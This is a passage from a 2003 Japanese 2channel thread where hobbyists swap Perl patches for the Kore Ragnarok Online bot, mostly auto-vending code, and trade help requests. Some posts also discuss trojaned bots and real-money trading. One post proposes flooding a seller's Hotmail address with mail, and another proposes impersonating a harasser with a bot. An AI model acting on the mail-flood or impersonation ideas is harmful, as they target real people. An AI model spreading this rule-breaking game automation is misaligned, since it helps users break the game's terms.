-$rotenTitle .= $roten{"sellItemTitle_$i"}.$roten{'rotenTitleSep'};
+$rotenTitle .= $roten{"sellItemTitle_$i"}.$roten{'rotenTitleSep'} if( length($rotenTitle.$roten{"sellItemTitle_$i"}.$roten{'rotenTitleSep'}) < 36 );
}

これ全く同じコードが関数内に2箇所存在するので両方修正。

ちなみに、この露店機能は関数部分以外にも結構修正を加えてあるので、
別Koreに移植したい人は本家と差分とって露店機能を抜き出して下さいな。
456ネトゲ廃人@名無し:03/09/06 03:08 ID:???
>>441
これいいなぁ
今までは倉で入って、短時間即売れ御礼って感じだったんだが…
これからは、相場より若干安い程度に抑えるよ

ありがとう441
ありがとう前スレ605
457ネトゲ廃人@名無し:03/09/06 03:58 ID:???
LockMapやAutoSellとかで
目的地までのマップ移動するときに、現在位置の座標と移動先の
portalの座標を比較して一定より遠い場所にあればランテレ
するってのは需要あるかな?
458ネトゲ廃人@名無し:03/09/06 06:46 ID:???
>>457
それと似たようなコードを605氏が前に張ったと思われ
目的地まで遠いのでテレポします。だったかな?
459ネトゲ廃人@名無し:03/09/06 07:07 ID:???
>>458
情報thx
無いんなら作ろうかと思ってたけど、ログ漁って
みまふ。
460ネトゲ廃人@名無し:03/09/06 09:32 ID:???
ちょっと聞きたいんだが、
チャットタイトルを電光掲示板のように流すのは無理なのだろうか?
461ネトゲ廃人@名無し:03/09/06 10:34 ID:???
>>426
俺にくれ
462ネトゲ廃人@名無し:03/09/06 10:48 ID:ErLOL+HP
BOTを使っていると
Error: Undefined subroutine &main::dumpData called at C:\Documen
ts and Settings\鮫島\My Documents\ラグナロク関係\kore(BOT)\新暗号化対応鳩kore(軽
量版)\Kore.pl line 6971, <FILE> line 693.
Tk::After::once at C:/Perl/site/lib/Tk/After.pm line 83
[once,[{},after#1449,100,once,[\&main::koretimes]]]
("after" script)
とでていきなり止まってしまいます。
解決方法教えて頂けないでしょか。すいません
463ネトゲ廃人@名無し:03/09/06 11:00 ID:???
>>462
スレ違い
464ネトゲ廃人@名無し:03/09/06 11:40 ID:???
>>462
sub dumpData {〜で始まる
8812〜8830行の#を外せ
465ネトゲ廃人@名無し:03/09/06 11:48 ID:???
放置スキル!!
466ネトゲ廃人@名無し:03/09/06 11:52 ID:???
431マジで詐欺だった
467ネトゲ廃人@名無し:03/09/06 11:54 ID:???
468ネトゲ廃人@名無し:03/09/06 12:21 ID:???
露店コード移植させてもらいました。良いね、これ。感謝
469ネトゲ廃人@名無し:03/09/06 12:50 ID:O81WP1vx
BOTで稼いで(低性能)
http://zive.hp.infoseek.co.jp/index.html
(高性能&有料)
http://www.geocities.co.jp/Playtown-Rook/4353/

RMTで現金化
http://www.ex-web.net/rmt/
470ネトゲ廃人@名無し:03/09/06 13:15 ID:???
>>469
宣伝うざー
471ネトゲ廃人@名無し:03/09/06 13:56 ID:???
>>469
一番目のは罠BOT
二番目は無料で配られてた177ツール勝手にを有料化かよ
サイテーだな
472ネトゲ廃人@名無し:03/09/06 14:45 ID:haxhXATz
>>471
サイテーは漏前達だよクソBoter
473ネトゲ廃人@名無し:03/09/06 14:49 ID:???
ttp://www.geocities.co.jp/Playtown-Rook/4353/
↑ここのメールアドレス
[email protected]

ホットメールだから大量にメール送信すれば潰れる
474ネトゲ廃人@名無し:03/09/06 15:03 ID:???
475ネトゲ廃人@名無し:03/09/06 15:07 ID:???
ヤフオクでRMTする池沼って居るんだな( ゚,_ゝ゚)
476ネトゲ廃人@名無し:03/09/06 15:20 ID:???
詐欺なのか???
477ネトゲ廃人@名無し:03/09/06 15:26 ID:???
aaaaaaaa
478ネトゲ廃人@名無し:03/09/06 15:27 ID:???
おい、おまいら
粘着WISしてくる奴をこらしめる方法教えてくれ
479ネトゲ廃人@名無し:03/09/06 15:32 ID:???
>>478
似た名前のキャラでBOT作って面白発言して回る
480ネトゲ廃人@名無し:03/09/06 17:26 ID:daloMTZD
SDで動かすと2Fのある場所でとまるんだけど
SDで動かしてる人どうやってる?
481ネトゲ廃人@名無し:03/09/06 17:45 ID:???
ちょっと質問させて下さい
新しいkoreを起動させてみようとしたんですが

String found where operator expected at C:\My Document\Kore01\Kore.pl line 5280, near "print ""
(Might be a runaway multi-line "" string starting on line 5275)
(Missing semicolon on previous line?)
Bareword found where operator expected at C:\My Document\Kore01\Kore.pl line 5280, near "* 重"
(Missing operator before d?)
syntax error at C:\My Document\Kore01\Kore.pl line 5280, near "print ""
Unrecognized character \x97 at C:\My Document\Kore01\Kore.pl line 5280.

と出て、起動した瞬間windowが閉じてしまいます。
もう一つのKoreはちゃんと起動するのですが・・・
もしよろしければ、どなたかご教授お願いします__| ̄|○
482ネトゲ廃人@名無し:03/09/06 17:49 ID:???
>>478
粘着されるようなBOT使うの止める
483ネトゲ廃人@名無し:03/09/06 18:02 ID:???
>>481
何回も出てるその行を見ればいいと思うよ
484ネトゲ廃人@名無し:03/09/06 18:12 ID:daloMTZD
漏れも質問なんだけど。
SD3で動かしている人ってどんな設定してんの?
なんかSD3で動かすとランダムウォークしてくれない・・・
MAPがとぎれとぎれじゃん・・・誰か教えて!!泣
485ネトゲ廃人@名無し:03/09/06 18:15 ID:???
>>484
ragexeっていうアプリ使うと動くよ
486ネトゲ廃人@名無し:03/09/06 18:19 ID:???
誘導

BOT初心者質問はこちら
【鳩】Kore鳩スレ 鳩と猿の情報交換所 Ver5【猿】
http://game3.2ch.net/test/read.cgi/mmosaloon/1062702494/
487ネトゲ廃人@名無し:03/09/06 18:33 ID:???
>>483
確認して訂正したところ動くようになりました。
ただ今度はメインサーバーに接続できませんが延々と繰り返されるので
もうちょっとcodeとにらめっこしようと思います。
ありがとうございます。

>>486
移動します。ご迷惑おかけしました__| ̄|○
488ネトゲ廃人@名無し:03/09/06 18:51 ID:???
ttp://www.geocities.co.jp/Playtown-Rook/4353/

は詐欺ではありませんでした。普通に売ってくれましたが。
MSNで話もできますし値段交渉にも応じてくれます。
489ネトゲ廃人@名無し:03/09/06 18:53 ID:???
>>488
話の流れちゃんと捉えてる…?
490488:03/09/06 19:25 ID:???
ジサクジエンデシタ(・∀・)v ヴイ!!
491ネトゲ廃人@名無し:03/09/06 19:45 ID:???
>>428
レスもとむ・・
492ネトゲ廃人@名無し:03/09/06 20:02 ID:???
>>488 自作自演うざい。
詐欺だったよ
493ネトゲ廃人@名無し:03/09/06 20:03 ID:???
カプラ関連(会話)を自動でしてくれずに、話が進まず、下水等に入ってくれないのですが、
コードに誤りがあるかもしれませんので、どこあたりのコードか教えて下さい。
分かったら、あぷろだで探して差分とるんで。
494ネトゲ廃人@名無し:03/09/06 20:29 ID:???
>>493
誘導

BOT初心者質問はこちら
【鳩】Kore鳩スレ 鳩と猿の情報交換所 Ver5【猿】
http://game3.2ch.net/test/read.cgi/mmosaloon/1062702494/
495ネトゲ廃人@名無し:03/09/06 20:53 ID:???



*** 〜 が 〜 匹 以 上 来 た の で ワ ー プ し ま す ***

>>605氏、またはその他の方
上記のようなコードは既出ですか?
結構需要あるコードですが・・
496488:03/09/06 21:02 ID:???
ああ、BOT増えたら困るのね(;´Д`)
申し訳ない
497ネトゲ廃人@名無し:03/09/06 21:05 ID:???
>>492
詐欺ってどういう?
送ってこなかったの?
498ネトゲ廃人@名無し:03/09/06 21:19 ID:???
  ☆。:.+:   /■\ 
   .. :.   ( ´∀`)    BOTerのネーミングセンスが悪いの 
     / ̄ヽ/,― 、\ o。。。     なんでだろ〜♪
.:☆   | ||三∪●)三mΕ∃.  
.:*    \_.へ--イ\  ゚ ゚ ゚  
+:..♪.:。゚*.:..  (_)(_)     ☆。:.+:
 ☆。:.+::..   ☆:.°+     .. :
   。*.:☆゚x*+゚。::.☆ο::.+。 *ρ

「なんでだろ〜♪」
   /■\   /■\   /■\
  (  ゚∀゚)  ( ´∀`)  ( ´∀`)
 ⊂    つ⊂    つ⊂    つ
  .人  Y   人  Y   人  Y
  し'(_)   し'(_)   し'(_)
         
      「なんでだろ〜 ♪」
   /■\  /■\  /■\
  (´∀` ) (´∀` ) (゚∀゚  )
 ⊂、   つ⊂、   つ⊂、   つ
    Y 人    Y 人    Y 人
   (_)'J   (_)'J   (_)'J
499ネトゲ廃人@名無し:03/09/06 21:23 ID:???
>>495
そういうのはテクニカルじゃないので、必要あれば誰でも追加できますよ
ここは中級スレなので、別段貼るまでも無いってことでいいんじゃないかな?
500ネトゲ廃人@名無し:03/09/06 21:41 ID:???
fenrirEtc,fenrirchatなどが
koreフォルダにあるとうざいんで

各フォルダにそれを毎回入れるようにさせたいのですが
そのコードがわからないので
どなたかそのコードを教えてください。
501ネトゲ廃人@名無し:03/09/06 21:49 ID:???
ここ中級スレだろ?
鳩・猿はどっか行けよ、マジで
あと、人が作ったもんにコード付け加えただけで有料販売する厨も…
何故こんな低レベルなスレに…
502ネトゲ廃人@名無し:03/09/06 21:52 ID:???
暗号化こないかな〜
物足りないよねぇ
503ネトゲ廃人@名無し:03/09/06 21:54 ID:???
カードが全然でねえ・・・
504ネトゲ廃人@名無し:03/09/06 21:55 ID:???
絶対ドロップ率弄ってるよな?
先週かその前あたりからカード激減してるぞ。
505ネトゲ廃人@名無し:03/09/06 22:06 ID:???
BOT販売いたします。
罠などは一切いれておりません。
あと機能の方は
・視覚MAP表示
・カプラ・カート系処理完備
・GM回避
・スタック回避
・露店機能
・NPC関係機能
・高性能タゲ被り防止(他キャラとの距離測定)
・武器の持ち替え
・指定マップでの一定間隔アイテム使用
・dumpを吐かない
・説明書付き
・壁歩き防止
・petへのエサやり
質問などお気軽にメールしてください。
額はROを課金した余り=500WMです。
よろしくお願いいたします
506ネトゲ廃人@名無し:03/09/06 22:11 ID:???
>>499

>>495じゃないけど、じゃあ何故結構実用な495のコードみたいなの出回らないんだ?
激しくコードうpキボンヌなわけだが。
507ネトゲ廃人@名無し:03/09/06 22:19 ID:???
>>506
だからな、お前が鳩なんだって。
「〜〜が結構実用的」って情報はヒントにもなるしありがたいけど、ここは>>495のネタ
を10分で書ける程度のヤツ用のスレだろう?

でもまあ、最近は鳩まみれなわけだが? とりあえず・・・(・∀・)カエレ

508ネトゲ廃人@名無し:03/09/06 22:19 ID:???
なんか突然繋がらなくなった(´・ω・`)
肉入りで入れるのになんなんだよ禿
509ネトゲ廃人@名無し:03/09/06 22:20 ID:???
それと後払いでOKです
510ネトゲ廃人@名無し:03/09/06 22:28 ID:???
koreを最小化するとタスクトレイにいれるのはどうやるのでしょうか?
perlの初歩的な質問なのですがとほほの・・・に書いていなかったので質問させていただきました。
直接回答でなくても参考になるようなHPなどありましたら教えてくださいお願いします
511ネトゲ廃人@名無し:03/09/06 23:35 ID:???
>>510
*********************************************************
** ここは中級者スレ、特にコード開発・交換をするところです。  **
** 質問スレではないのであしからず。                 **
** ですので移動をお願いします。                   **
*********************************************************
512ネトゲ廃人@名無し:03/09/07 01:00 ID:???
最近起きるようになった事なのですが、
色々とkore.pl弄ったりしててて、いざ起動すると、ログイン出来なくなる現象です。
しかし、また一定の時をおくと、再び入れるようになるのですよ。
試しに他のkore使ってるところ、問題なく入れます。
config面やkore.plで差分とって書き換えても一向に治らないのですが・・・、一体どうすれば?
どなたかお力を下さい。
513ネトゲ廃人@名無し:03/09/07 01:12 ID:???
>>512
*********************************************************
** ここは中級者スレ、特にコード開発・交換をするところです。  **
** 質問スレではないのであしからず。                 **
** ですので移動をお願いします。                   **
*********************************************************
514ネトゲ廃人@名無し:03/09/07 01:16 ID:???
自動露店、よく売れるアイテムとあまり売れないアイテムを同時に売りやすいように、
どれか一つでもアイテムが売り切れたら再出店するようにしてみた。

0137パケの処理部分で

if ($shopItem{$index}{'amount'} < 1) {
  print "$shopItem{$index}{'name'}が売り切れました\n";
  chatLog("roten", "$shopItem{$index}{'name'}が売り切れました\n");
  $solditem++;
  $shopItem--;
+  $roten{'isSoldOut'} = 1;
  if (!$shopItem){
    print "売り切れました - 個数:$roten{'sumAmount'} 金額:$roten{'sumPrice'}\n";
    chatLog("roten","売り切れました - 個数:$roten{'sumAmount'} 金額:+$roten{'sumPrice'}\n");
    closeShop(\$remote_socket);
  }
}

(つづく)
515ネトゲ廃人@名無し:03/09/07 01:18 ID:???
sub AI の自動露店処理部分で

if ($config{"autoShop"}){
  if($nowShopOpen){
    if($roten{'priceDownNum'} && $roten{'priceDownNum'}>$priceDownNum
    && $roten{'priceDownWhile'} && time-$lastPriceDownTime>$roten{'priceDownWhile'}){
      $priceDownNum++;
      closeShop(\$remote_socket);
    }
    
+    if ($roten{'isSoldOut'}) {
+      undef $roten{'isSoldOut'};
+      closeShop(\$remote_socket);
+    }

  }elsif(!$priceDownNum || ( ($removeitem == $sellitem - $solditem) && $priceDownNum>0) ){
516ネトゲ廃人@名無し:03/09/07 02:00 ID:???
sub openShop にちょっとしたバグを発見したのでFIX。
現状、露店名が表示されないようになっているので、

sub openShop の末尾あたりに
+ $roten{'rotenName'} = $rotenTitle;

517505:03/09/07 03:11 ID:???
http://ele123.hp.infoseek.co.jp/index.htm
作ってみましたお気軽にどうぞ
518ネトゲ廃人@名無し:03/09/07 03:48 ID:???
>>517
   |  通報しますた!
   \_ _________
      ∨
     ∧_∧
    ( ´Д`)
     _,i -イ、      | 通報しますた!
   (⌒`    ⌒ヽ    \__ _______
    (ぃ9    ⌒)       ∨     ∧_∧      / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
     ヽ    ー-'     ∧_∧     ( ´Д`)    <  通報しますた!
      〉           ( ´Д` )   /⌒    ⌒ヽ    \__________
     /     |      /,  /   /_/|     へ \
    {      }     (ぃ9  |  (ぃ9 ./    /   \ \.∧_∧  / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
    |      |      /    /、 ,、  /    ./     ヽ ( ´Д` )< 通報しますた!
    {  ,イ  ノ     /   ∧_二∃ (    /      ∪ ,  /   \__________
    /  | |   |     /   /      \ .\\     (ぃ9  |
   /  | |  |     /    \       \ .\\    /    /  ,、   ((( ))) < 通報しますた!
   /  .| {  |    /  /~\ \        >  ) )  ./   ∧_二∃   ( ´Д`)
  /   |  |  |    /  /   >  )      / //   ./     ̄ ̄ ヽ  (ぃ9  /   ∧_∧ < 通報しますた!
  /   |  }  | / ノ    / /      / / /  ._/  /~ ̄ ̄/ /   /    ∧∃ ( ´Д`)
 /   |   }  | / /   .  / ./.      / / / )⌒ _ ノ     / ./    /    \   (ぃ9  )   (゚д゚) <シマスタ!
  |  /   (  / ./     ( ヽ、     ( ヽ ヽ | /       ( ヽ、   / /⌒> )   /    ∧∃. ゚(  )−○<マスタ
  ヽノ     (  _)      \__つ    \__つ). し          \__つ (_)  \_つ  (_)  \_つ / >  力 λスタ
519ネトゲ廃人@名無し:03/09/07 04:32 ID:???
弓の持ち替えコードを過去ログで探してたんですが
見つからないんで、どなたか過去ログか
コード部分だけ貼り付けお願いしたいのですが
見たこと無いんでわからないのですが
それで矢の持ち替えも可能なのでしょうか?(´・ω・`)
520前スレ605:03/09/07 04:52 ID:???
ろくに動作確認してないコードはやっぱりいまいち・・・・
353の該当部分との差し替えです
いままでのは

・10進を小文字の16進に変えてるのでダメポ
・16進に変換しても10の桁が0だと省略されるのでダメポ

ということで
これでOKのはず

+if($headItems_lut{substr("0".sprintf('%X',$players{$pID}{'head1'}),-2,2)} ){
+$playerBaselv{$players{$pID}{'name'}}{'head1'}=$headItems_lut{substr("0".sprintf('%X',$players{$pID}{'head1'}),-2,2)};
+}else{
$playerBaselv{$players{$pID}{'name'}}{'head1'}=$players{$pID}{'head1'};
+}
+if($headItems_lut{substr("0".sprintf('%X',$players{$pID}{'head2'}),-2,2)} ){
+$playerBaselv{$players{$pID}{'name'}}{'head2'}=$headItems_lut{substr("0".sprintf('%X',$players{$pID}{'head2'}),-2,2)};
+}else{
$playerBaselv{$players{$pID}{'name'}}{'head2'}=$players{$pID}{'head2'};
+}
+if($headItems_lut{substr("0".sprintf('%X',$players{$pID}{'head3'}),-2,2)} ){
+$playerBaselv{$players{$pID}{'name'}}{'head3'}=$headItems_lut{substr("0".sprintf('%X',$players{$pID}{'head3'}),-2,2)};
+}else{
$playerBaselv{$players{$pID}{'name'}}{'head3'}=$players{$pID}{'head3'};
+}
521前スレ605:03/09/07 06:02 ID:???
>>453
いや、UPされたってことがわかるんでOK

漏れが知らないところでコードがはられる→漏れコード修正(貼られた先では修正されない)
→後で貼られた先の住人からコードがうまく動作しないと漏れが突っ込まれる

このパターンを防ぎたいわけです

>>495
似たようなの以前にはってるっぽいかも
こんなの

print "回避対象の$monsters{$_}{'name'}を$mon_control{lc($monsters{$_}{'name'})}{'teleport_auto'}体発見しますた。戦線離脱!!\n";
522ネトゲ廃人@名無し:03/09/07 07:05 ID:???
設置系スキル(サンドマン、ベノムダストect)のあるセルには
移動しないコードを追加したいのですが、
設置系スキルの座標が送られてくるパケが分かりません。
0117パケで使用時の座標は分かりますが、それだけだと
前もって置かれていた場合やスキル効果が切れた場合の対応が
できないので、ヒントだけでもいいので教えてもらいたいです。
523ネトゲ廃人@名無し:03/09/07 08:49 ID:???
>>522
0x011F
524ネトゲ廃人@名無し:03/09/07 10:27 ID:???
>>520
以前罠入りだとか言ってましたが、罠らしきものなんてどこにもないんですが消したんですか?
525522:03/09/07 11:12 ID:???
>>523
レスサンクス。
これからいろいろ試行錯誤してみます。
526ネトゲ廃人@名無し:03/09/07 11:42 ID:???
527ネトゲ廃人@名無し:03/09/07 11:50 ID:???
>>441の露店。
キャラセレから進みませんよ・・・(´Д⊆;)
528ネトゲ廃人@名無し:03/09/07 12:05 ID:???
アクティブな敵はmon_controlで指定しても大丈夫ですか?
それとも反撃だけに頼った方が良いのでしょうか?
529ネトゲ廃人@名無し:03/09/07 12:13 ID:???
>>514-515

動作報告。
(例)
セイントローブを3つ、ハットを4つ売っているとする。(ハットはカートにまだある、セイントローブは3つきり。)
セイントローブ売れる→開きなおし→
→以下、こんな感じ。
セイントローブが100000×1売れました
セイントローブが売り切れました
セイントローブ : カートに存在しません。次の設定アイテムを検索します。

それでセイントローブはカートに入ったまま。
説明下手でスマソ
530ネトゲ廃人@名無し:03/09/07 12:21 ID:???
>>521
過去スレが現在見れなくて…__/ ̄\○||
現在あるのだけでも隈なく探しましたが見つからず…。
本当に恐縮なのですが、どこかに今一度上げてもらえはしないでしょうか。
再UPはしない方針と聞きましたが、どうかお願いします<( )>
531ネトゲ廃人@名無し:03/09/07 12:27 ID:???
532514:03/09/07 12:37 ID:???
>>529
ちょっと適当すぎた。装備品を売る場合の対応は現在コーディング中。
あと、鯖缶後再出店してくれない問題も対応中。
533ネトゲ廃人@名無し:03/09/07 12:58 ID:???
>>532
うーん、自分じゃ修正出来ないんで、動作確認しか出来ない、スマソ
534ネトゲ廃人@名無し:03/09/07 14:02 ID:???
>>528
弱Mobで試したらどう?
ここは自称だけど中級者スレ

>>530
一人許すと雪崩式になるだろうが。その辺り気を使えよ
つっても605氏次第だろうけど
535ネトゲ廃人@名無し:03/09/07 14:33 ID:???
morocc から moc_fild18(ミミズマップ)に行く時
morocc->moc_fild12->moc_fild18とマップ移動させたいのだけど

koreは 
morocc->moc_fild10->moc_fild11->moc_fild17->moc_fild18
っと、遠回りして行く。portalsLOSで移動指定できそうなんだが法則が解らん
調べた人おる?情報キボン
536ネトゲ廃人@名無し:03/09/07 14:44 ID:???
某所で
「ビタタCの相場を下げようキャンーペン中」

なんかもうマジでここの管理人うざい
RMTで稼げるお金がどんどん減ってく・・
537ネトゲ廃人@名無し:03/09/07 14:47 ID:???
とりあえずurl晒せよ。
538ネトゲ廃人@名無し:03/09/07 15:30 ID:???
>>537
そこのサイトの管理人はSD3か伊豆4のBOTらしいな
539ネトゲ廃人@名無し:03/09/07 15:35 ID:???
「ビタタCの相場を下げようキャンーペン中」
のkoreって罠入りだよ

それのお陰でIDとPW吐くBOTが増えすぎてウザイ。
540ネトゲ廃人@名無し:03/09/07 15:39 ID:???
鳩の生産地になってるし消えて欲しいな
541441:03/09/07 15:48 ID:???
>>529
その露店は俺がうpしたものだね。
多分、別Koreに移植して使っていると思うのだけど移植しきれてないんじゃないかな?
514が貼ったコードには俺が手を加えたコードも入ってるから、多分俺が上げた奴をそのまま使っていると思うし。

とにかく、その問題は(カーとの中身を正常に認識しない問題)$removeitem $sellitem $solditemで制御修正しているから
そこを見てくださいな。

とは言え、俺は514のコードを入れて試したわけじゃないんだけどね。
542ネトゲ廃人@名無し:03/09/07 15:58 ID:???
>>532
鯖缶後再出品してくれいない問題とはなんだろう?
俺はいつもrelogコマンドで強制再出品とかさせてたんだけど、問題なく開いたのですよ。
詳細Plz
543ネトゲ廃人@名無し:03/09/07 16:22 ID:???
頭データが6900番代って何?
544ネトゲ廃人@名無し:03/09/07 19:35 ID:???
電車じゃないんだから。
545ネトゲ廃人@名無し:03/09/07 19:39 ID:???
こんなんにしてみたんですがどうでしょ。
ttp://r0uppp.hp.infoseek.co.jp/cgi-bin/upboard/source/up0116.txt
546ネトゲ廃人@名無し:03/09/07 19:41 ID:???
>>540
お前も鳩じゃねーの?wWw
547ネトゲ廃人@名無し:03/09/07 19:55 ID:???
>>545
一応消しとけよ
548ネトゲ廃人@名無し:03/09/07 20:01 ID:???
>545
動かしてみて平気?
549ネトゲ廃人@名無し:03/09/07 20:19 ID:???
*********************************************************
** ここは中級者スレ、特にコード開発・交換をするところです。  **
** 質問スレではないのであしからず。                 **
** ですので移動をお願いします。                   **
*********************************************************
550ネトゲ廃人@名無し:03/09/07 21:13 ID:???
ステータスひゃっくで 全部のステータスを100にする罠はどう?
551ネトゲ廃人@名無し:03/09/07 21:23 ID:???
*********************************************************
** ここは中級者スレ、特にコード開発・交換をするところです。  **
** 質問スレではないのであしからず。                 **
** ですので移動をお願いします。                   **
*********************************************************
552ネトゲ廃人@名無し:03/09/07 21:40 ID:???
>>541
いや移植はしてない
553ネトゲ廃人@名無し:03/09/07 21:44 ID:???
>>549
>>551
自分で作って張ってみろよ
554ネトゲ廃人@名無し:03/09/07 21:48 ID:???
**********************************************************
** ここは中級者スレ、特にコード開発・交換をするところです。   **
** 質問スレではないのであしからず。                  **
** 移動先                                   **
** http://game3.2ch.net/test/read.cgi/mmosaloon/1062702494/ **
**********************************************************
555ネトゲ廃人@名無し:03/09/07 22:17 ID:???
GvGのブロチャだけ別ファイルに保存できるようにできないでしょうか?
556>>950、テンプレ追加よろ:03/09/07 22:18 ID:???
**********************************************************
**********************************************************
** ここは中級者スレ、特にコード開発・交換をするところです。     **
** 質問スレではないのであしからず。                   **
** 移動先(移動をお願いします)                      **
** 【BOT質問スレ】                               **
** http://game3.2ch.net/test/read.cgi/mmosaloon/1062702494/ **
**********************************************************
**********************************************************

557>>950、テンプレ追加よろ:03/09/07 22:19 ID:???
**********************************************************
**********************************************************
** ここは中級者スレ、特にコード開発・交換をするところです。      **
** 質問スレではないのであしからず。                    **
** 移動先(移動をお願いします)                       **
** 【BOT質問スレ】                                **
** http://game3.2ch.net/test/read.cgi/mmosaloon/1062702494/  **
**********************************************************
**********************************************************

修正した_| ̄|○
スレ消費ムダーン
558ネトゲ廃人@名無し:03/09/07 22:37 ID:???
おまえはよくやったよ
だが もうげんかいだ
559ネトゲ廃人@名無し:03/09/07 23:01 ID:???
露店BOTも出たところですが、相場がわからないと意味ないですし、面倒な方に。

tp://price.ro-skins.net/

こちらで確認おながいします。(相場崩壊飽和のため)
560ネトゲ廃人@名無し:03/09/07 23:05 ID:???
>>560
緩和じゃないか?飽和しちゃうとやべえだろ。
漏れはカード以外の相場情報↑で、他はRMC見てるな。

ところで、yahooBBは悪なのか?やっぱ( つДT)JKOREカキコミ禁止サレチャッタヨ
561ネトゲ廃人@名無し:03/09/07 23:24 ID:???
自己レスかよww

YBBはお馬鹿な勧誘に引っかかった人が大多数
自ずとその質も知れるだろ?
漏れはHP持ってるんだが、YBBとか弾いてる
562ネトゲ廃人@名無し:03/09/07 23:32 ID:???
**********************************************************
**********************************************************
** ここは中級者スレ、特にコード開発・交換をするところです。 . **
** 質問スレではないのであしからず。 **
** 移動先(移動をお願いします) **
** 【BOT質問スレ】 **
** http://game3.2ch.net/test/read.cgi/mmosaloon/1062702494/ **
** 【BOT雑談スレ】 **
** http://game3.2ch.net/test/read.cgi/mmosaloon/1062472492/ **
**********************************************************
**********************************************************

こんなもんか、ズレてたらすまん
563ネトゲ廃人@名無し:03/09/07 23:36 ID:???
「ビタタCの相場を下げようキャンーペン中」
UZEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE!!!!!
何とかあのサイトを潰すことは出来ないだろうか…
564 ◆tj1LchE.ZA :03/09/07 23:43 ID:???
>>563
転送アドなので潰れてもすぐに復活しますよ
565ネトゲ廃人@名無し:03/09/07 23:50 ID:???
**********************************************************
**********************************************************
 ここは中級者スレ、特にコード開発・交換をするところです。
 質問スレではないのであしからず。
 移動先(移動をお願いします)
 【BOT質問スレ】
 http://game3.2ch.net/test/read.cgi/mmosaloon/1062702494/
 【BOT雑談スレ】
 http://game3.2ch.net/test/read.cgi/mmosaloon/1062472492/
**********************************************************
**********************************************************

>>563>>564
雑談スレで続きをどうぞ
566ネトゲ廃人@名無し:03/09/08 00:03 ID:???
ここは何のスレだ
567ネトゲ廃人@名無し:03/09/08 00:20 ID:???
>>563
ビタタカードってなんすか?
相場はいくらなんすか?

ところで画面上にPCがいたら攻撃せず(アクティブへの反撃は除く)、
移動していくっていうコードだれかうpしてください。
それと歩くときにPCを避けていくのも合わせてよろしくお願いしたい。
568ネトゲ廃人@名無し:03/09/08 00:21 ID:???
どーでもいいがRO@BOTのとこの香具師含めて、
最近UPされてるBOTってさ、全部Encode.dll、全部ファイルサイズが44KBなのな
つーかどーやるとEncode.dllって44KBになるの?そっちが知りたいわ・・・
うちで使ってるDLL普通に32KB(サイズ上で)なんだが。
最初にあっぷされたup00027だっけか?あれ使ってるのバレバレ・・・
どーにかならんもんなのかね?
569ネトゲ廃人@名無し:03/09/08 00:23 ID:???
>>566
**********************************************************
**********************************************************
 ここは中級者スレ、特にコード開発・交換をするところです。
 質問スレではないのであしからず。
 移動先(移動をお願いします)
 【BOT質問スレ】
 http://game3.2ch.net/test/read.cgi/mmosaloon/1062702494/
 【BOT雑談スレ】
 http://game3.2ch.net/test/read.cgi/mmosaloon/1062472492/
**********************************************************
**********************************************************
570ネトゲ廃人@名無し:03/09/08 00:27 ID:???
>>568
言われて見て初めて気が付いた
漏れのは32KBだな
つか、それ動いてんのか? 変な罠じゃね〜?
571ネトゲ廃人@名無し:03/09/08 00:32 ID:9meT7it9
>>568
up0027のencode.dllってばればれだとまずいの?
バグってるとかバレるとか
教えてくれ。
いや、殿、教えてくだされ

572ネトゲ廃人@名無し:03/09/08 00:33 ID:???
>>571
ageんな禿
573ネトゲ廃人@名無し:03/09/08 00:38 ID:???
>>568
DLLを自分でコンパイルしたこと無いんだなぁ。。。。
コンパイラによってDLLのサイズは全然変わるぞ。
てか、お前がどーにかならんか?w
574ネトゲ廃人@名無し:03/09/08 00:43 ID:???
無知の恥
放置しる
575ネトゲ廃人@名無し:03/09/08 01:03 ID:???
DLLの話題がでたんで、漏れも便乗したい・・・・・
perlでDLLを解放するのって、undefだけじゃあだめ?
576ネトゲ廃人@名無し:03/09/08 01:07 ID:???
>>573
ああ、すまん、説明不足か・・・
コンパイラによって作成ファイルのサイズ変わるのは知ってるつもりだ
漏れの使ってるC関連のコンパイラ(メインがVCなへたれだが)
だと何使っても32KBしかいかないんよ
多分この32KBっつーのも何の制限なのかは知らんが最低認識サイズっしょ?
何使うと44KBになるのかなーと・・・
まぁ自分自身じゃならない数字なんで気になったわけよ
んで思ったのが・・・これデバッグ版じゃね?という結論に達したんでな
>どーにかならんもんかね?
といったわけだ
まぁVCだとデバッグ版で200KBいくみたいだから論外なわけだが(´¬`)
577ネトゲ廃人@名無し:03/09/08 01:21 ID:???
>>ALL
知ったかは>>574で。
578576:03/09/08 03:36 ID:???
知ったか扱い鬱につき自作dll晒し
ttp://r0uppp.hp.infoseek.co.jp/cgi-bin/upboard/source/up0119.lzh
4KBって何使ってるんだよぅ・・・
579ネトゲ廃人@名無し:03/09/08 03:55 ID:???
>>578
4KBのはソース付きのrocrypt.dllだろ。VC++だったら
cl /O1 /Os srouce.c
するのはもちろん、スタートアップをはしょって、
Cランタイムを使わないでルーチンは手書き or API でやれば簡単だ。
サイズの肥大化の原因はランタイムとスタートアップルーチンなんだから。
それにC++だとコードがでかくなることがあるから、アセンブラかCで書け。

リンクする時もPEヘッダをバイナリいじればかなり頑張れる。
encode.dllもupxなしで4KBか5KBくらいに抑えられるぞ。
580ネトゲ廃人@名無し:03/09/08 04:39 ID:???
うむ中級として認めよう
581ネトゲ廃人@名無し:03/09/08 08:45 ID:???
中級なのは>>579であって>>576は違うと思うんだがどうよ
582ネトゲ廃人@名無し:03/09/08 09:12 ID:???
>>581
オイオイ、中級つっても分野が違うだろ
勘違いすんなよ
583ネトゲ廃人@名無し:03/09/08 11:21 ID:???
なぁ>>545のってアレだよな・・・?また厨祭りでもおっぱじめるつもりかw
584576:03/09/08 11:34 ID:???
>>579
4KBでなくて44KBな・・・ナンツーカウツダ_no
ちなみにCの方でも職業プログラマなんで・・・
コードの最適化やら何やらは求められず無知識_no

>>581
プログラマの端っこの方の人だと思って勘弁してくれ(;´Д`)
ちうかこの手の質問他のとこでしてもまともな返事きそうにない・・・

>>582
分野違うけど元のネタはEncode.dllのことだから勘弁しる!

追記:まぁその後色々貪ってみたんだがどーやっても44KBのEncode.dllは
作成できず・・・
何かあそこに罠仕込んでそうに見えてきたのは漏れだけでつか?
585ネトゲ廃人@名無し:03/09/08 11:37 ID:???
相手されてないってことに気づかないヤシは
非常にウザイな
